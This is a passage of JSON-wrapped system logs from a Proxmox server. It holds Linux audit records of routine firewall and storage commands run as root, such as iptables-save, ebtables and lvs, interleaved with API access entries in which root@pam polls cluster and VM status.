syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65832 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965391943,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:23:11 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964515113,"@rawstring":"node=pve type=EXECVE msg=audit(1781964515.113:61348): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966125385,"@rawstring":"node=pve type=EXECVE msg=audit(1781966125.385:68545): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964785644,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964785.644:62580): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60018 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965463095,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965463.095:65709): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899554b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63111 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964115351,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964115.351:59655): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0e6070 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57291 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966125424,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966125.424:68550): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65831 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965391943,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:23:11 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 501"} {"@timestamp":1781964515108,"@rawstring":"node=pve type=EXECVE msg=audit(1781964515.108:61347): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966125378,"@rawstring":"node=pve type=EXECVE msg=audit(1781966125.378:68544): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964785644,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964785.644:62579): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60018 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965463095,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965463.095:65708): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899554b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63111 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964115346,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964115.346:59654): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc1383b0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57290 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966125414,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966125.414:68549): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65830 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965391943,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:23:10 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 505"} {"@timestamp":1781964515104,"@rawstring":"node=pve type=EXECVE msg=audit(1781964515.104:61346): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966125371,"@rawstring":"node=pve type=EXECVE msg=audit(1781966125.371:68543): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964785633,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964785.633:62575): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60016 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965463081,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965463.081:65706): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899553f0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63110 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964115341,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964115.341:59653): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc146c10 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57289 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966125404,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966125.404:68548): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65829 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965390739,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:23:10 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1086"} {"@timestamp":1781964515101,"@rawstring":"node=pve type=EXECVE msg=audit(1781964515.101:61345): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966125365,"@rawstring":"node=pve type=EXECVE msg=audit(1781966125.365:68542): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964785633,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964785.633:62574): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60016 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965463080,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965463.080:65705): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899553f0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63110 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964115335,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964115.335:59652): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc1383b0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57288 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966125400,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966125.400:68547): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=60251232e740 items=0 ppid=1156 pid=65828 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965390739,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:23:09 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 890"} {"@timestamp":1781964515100,"@rawstring":"node=pve type=EXECVE msg=audit(1781964515.100:61344): argc=1 a0=\"date\""} {"@timestamp":1781966125357,"@rawstring":"node=pve type=EXECVE msg=audit(1781966125.357:68541): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781964785621,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964785.621:62569): arch=c000003e syscall=59 success=no exit=-2 a0=7fff89827750 a1=5b2e0c724410 a2=5b2e0c702680 a3=5 items=1 ppid=60007 pid=60008 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965458072,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965458.072:65703): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955330 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63109 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964115330,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964115.330:59651): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ada7a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57287 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966125394,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966125.394:68546): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc147480 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65828 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965390739,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:23:09 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1095"} {"@timestamp":1781964515096,"@rawstring":"node=pve type=EXECVE msg=audit(1781964515.096:61342): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966125348,"@rawstring":"node=pve type=EXECVE msg=audit(1781966125.348:68540): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964780623,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964780.623:62559): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59994 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965458072,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965458.072:65702): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955330 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63109 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964115323,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964115.323:59650): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57286 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966125385,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966125.385:68545): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc148ab0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65827 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965388232,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:23:07 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 511"} {"@timestamp":1781964515090,"@rawstring":"node=pve type=EXECVE msg=audit(1781964515.090:61341): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966125340,"@rawstring":"node=pve type=EXECVE msg=audit(1781966125.340:68539): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964780623,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964780.623:62558): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59994 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965458060,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965458.060:65700): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955270 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63108 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964115316,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964115.316:59649): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57285 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966125378,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966125.378:68544): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc13b810 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65826 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965388232,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:23:07 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 917"} {"@timestamp":1781964515083,"@rawstring":"node=pve type=EXECVE msg=audit(1781964515.083:61340): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966125334,"@rawstring":"node=pve type=EXECVE msg=audit(1781966125.334:68538): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964780608,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964780.608:62556): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59993 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965458060,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965458.060:65699): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955270 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63108 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964115312,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964115.312:59648): arch=c000003e syscall=59 success=yes exit=0 a0=650014261d70 a1=65001426dc00 a2=65001423b680 a3=5 items=2 ppid=57278 pid=57284 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966125371,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966125.371:68543): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13ae00 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65825 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965388232,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:23:07 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964515078,"@rawstring":"node=pve type=EXECVE msg=audit(1781964515.078:61339): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781966125331,"@rawstring":"node=pve type=EXECVE msg=audit(1781966125.331:68537): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964780607,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964780.607:62555): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59993 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965455182,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965455.182:65695): arch=c000003e syscall=59 success=no exit=-2 a0=7ffd94d5f760 a1=633e808c0410 a2=633e8089e680 a3=5 items=1 ppid=63101 pid=63102 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964115310,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964115.310:59647): arch=c000003e syscall=59 success=yes exit=0 a0=64ffe1b7cac8 a1=7ffc05a69c00 a2=65001423b680 a3=64ffe1b6024e items=2 ppid=57278 pid=57280 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966125365,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966125.365:68542): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc130570 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65824 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965388232,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:23:07 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 507"} {"@timestamp":1781964515072,"@rawstring":"node=pve type=EXECVE msg=audit(1781964515.072:61338): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966125329,"@rawstring":"node=pve type=EXECVE msg=audit(1781966125.329:68536): argc=1 a0=\"date\""} {"@timestamp":1781964775599,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964775.599:62553): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59992 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965455084,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965455.084:65677): arch=c000003e syscall=59 success=no exit=-2 a0=7fffb5d01130 a1=5d14a8697310 a2=5d14a8690680 a3=5 items=1 ppid=63082 pid=63083 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964115308,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964115.308:59646): arch=c000003e syscall=59 success=yes exit=0 a0=7ffc05a69bc0 a1=65001425d410 a2=65001423b680 a3=5 items=2 ppid=57278 pid=57279 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966125357,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966125.357:68541): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc1396c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65823 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965388232,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:23:07 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1086"} {"@timestamp":1781964515064,"@rawstring":"node=pve type=EXECVE msg=audit(1781964515.064:61337): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966125324,"@rawstring":"node=pve type=EXECVE msg=audit(1781966125.324:68534): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964775599,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964775.599:62552): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59992 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965453054,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965453.054:65667): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899551b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63072 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964115303,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964115.303:59644): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=57278 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966125348,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966125.348:68540): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65822 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965386691,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:23:05 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 925"} {"@timestamp":1781964515024,"@rawstring":"node=pve type=EXECVE msg=audit(1781964515.024:61336): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781966125315,"@rawstring":"node=pve type=EXECVE msg=audit(1781966125.315:68533): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964775591,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964775.591:62550): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59991 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965453054,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965453.054:65666): arch=c000003e syscall=59 success=no exit=-2 